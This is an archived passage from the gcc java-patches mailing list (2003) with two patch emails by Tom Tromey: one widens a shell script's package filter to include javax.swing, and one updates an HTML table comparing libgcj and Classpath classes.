CANDLES?? Date: 31 Mar 2003 12:03:09 -0700 Message-ID: <87brzrz7de.fsf@fleche.redhat.com> Lines: 31 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in. This updates the classpath comparison script to look at javax.swing as well. Thanks to Michael Koch for pointing out that I should change this. Tom Index: gen-classpath-compare =================================================================== RCS file: /cvs/gcc/wwwdocs/bin/gen-classpath-compare,v retrieving revision 1.4 diff -u -r1.4 gen-classpath-compare --- gen-classpath-compare 29 Mar 2003 21:17:30 -0000 1.4 +++ gen-classpath-compare 31 Mar 2003 19:03:37 -0000 @@ -65,13 +65,12 @@ VmSpec='VM-specific' Empty=' ' -# Note: for now, we omit much of gnu.* (it differs too much) and also -# javax.swing. +# Note: for now, we omit much of gnu.*, as it differs too much. (cd $LIBGCJ; find . -name '*.java' -print; cd $CLASSPATH; find . -name '*.java' -print; cd $CLASSPATH/external/jaxp/source; find . -name '*.java' -print) | sort -u | sed -e 's,^\./,,' | -grep -E '^(java|gnu/java/security|gnu/java|gnu/javax/rmi|javax/accessibility|javax/naming|javax/rmi|javax/sql|javax/transaction|javax/xml)/' | +grep -E '^(java|gnu/java/security|gnu/java|gnu/javax|javax)/' | grep -E -v '^(gnu/java/io|gnu/java/lang|gnu/java/net|gnu/xml)' | (cd $LIBGCJ while read f; do From java-patches-return-6633-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 31 19:09:39 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 24826 invoked by alias); 31 Mar 2003 19:09:39 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 24814 invoked from network); 31 Mar 2003 19:09:39 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sources.redhat.com with SMTP; 31 Mar 2003 19:09:39 -0000 Received: from fleche.redhat.com (tf0239.peakpeak.com [204.144.239.239]) by gash2.peakpeak.com (8.9.3/8.9.3.1) with ESMTP id MAA28732; Mon, 31 Mar 2003 12:09:38 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id E91074F867B; Mon, 31 Mar 2003 12:05:12 -0700 (MST) To: Gcc Patch List Cc: GCC libjava patches Subject: Patch: FYI: classpath comparison From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Yow! Am I JOGGING yet?? Date: 31 Mar 2003 12:05:12 -0700 Message-ID: <877kafz79z.fsf@fleche.redhat.com> Lines: 84 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in. Another automated classpath comparison. Tom Index: ChangeLog from Tom Tromey * libgcj-classpath-compare.html: Rebuilt. Index: libgcj-classpath-compare.html =================================================================== RCS file: /cvs/gcc/wwwdocs/htdocs/java/libgcj-classpath-compare.html,v retrieving revision 1.67 diff -u -r1.67 libgcj-classpath-compare.html --- libgcj-classpath-compare.html 29 Mar 2003 20:28:51 -0000 1.67 +++ libgcj-classpath-compare.html 31 Mar 2003 19:09:08 -0000 @@ -8,7 +8,7 @@

            This page compares the "current" cvs libgcj against the "current" cvs Classpath. It was generated using the gen-classpath-compare script (available in gcc cvs repository in wwwdocs/bin/) on -2003-03-29. +2003-03-31. This table intentionally omits certain classes which are not of interest. If the third column shows a "Diff" link, then that means the script believes that the class has been merged, but a difference @@ -31,13 +31,6 @@ gnu.java.nio.MappedShortFileBuffer No Yes No gnu.java.nio.SelectorImpl Yes Yes Diff gnu.java.nio.ServerSocketChannelImpl Yes Yes Diff - gnu.javax.rmi.CORBA.DelegateFactory No Yes No - gnu.javax.rmi.CORBA.GetDelegateInstanceException No Yes No - gnu.javax.rmi.CORBA.PortableRemoteObjectDelegateImpl No Yes No - gnu.javax.rmi.CORBA.StubDelegateImpl No Yes No - gnu.javax.rmi.CORBA.UtilDelegateImpl No Yes No - gnu.javax.rmi.CORBA.ValueHandlerImpl No Yes No - gnu.javax.rmi.PortableServer No Yes No java.awt.Toolkit Yes Yes Diff java.io.DataInputStream Yes Yes Diff java.io.DataOutputStream Yes Yes Diff @@ -61,7 +54,7 @@ java.lang.PosixProcess Yes No No java.lang.Runtime Yes VM-specific   java.lang.SecurityManager Yes Yes Diff - java.lang.String Yes Yes No + java.lang.String Yes Yes Diff java.lang.StringBuffer Yes Yes Diff java.lang.System Yes Yes Diff java.lang.Thread Yes VM-specific   @@ -94,6 +87,15 @@ java.nio.LongBuffer Yes Yes Diff java.nio.MappedByteBuffer Yes Yes Diff java.nio.ShortBuffer Yes Yes Diff + java.rmi.dgc.VMID Yes Yes Diff + java.rmi.registry.RegistryHandler Yes Yes Diff + java.rmi.server.LoaderHandler Yes Yes Diff + java.rmi.server.LogStream Yes Yes Diff + java.rmi.server.Operation Yes Yes Diff + java.rmi.server.RemoteCall Yes Yes Diff + java.rmi.server.RemoteRef Yes Yes Diff + java.rmi.server.RemoteStub Yes Yes Diff + java.rmi.server.Skeleton Yes Yes Diff java.security.AlgorithmParameterGenerator Yes Yes Diff java.security.AlgorithmParameters Yes Yes Diff java.security.Engine No Yes No @@ -118,7 +120,6 @@ java.text.CollationElementIterator Yes Yes No java.text.CollationKey Yes Yes No java.text.Collator Yes Yes Diff - java.text.MessageFormat Yes Yes Diff java.text.RuleBasedCollator Yes Yes No java.util.PropertyPermission Yes Yes Diff java.util.ResourceBundle Yes Yes Diff @@ -153,6 +154,10 @@ java.util.zip.OutputWindow No Yes No java.util.zip.PendingBuffer No Yes No java.util.zip.StreamManipulator No Yes No + javax.rmi.BAD_OPERATION Yes Yes No + javax.rmi.CORBA.ObjectImpl Yes Yes No + javax.rmi.CORBA.SystemException Yes Yes No + javax.rmi.ORB Yes Yes No javax.xml.parsers.ClassStuff No Yes No javax.xml.parsers.DocumentBuilder No Yes No javax.xml.parsers.DocumentBuilderFactory No Yes No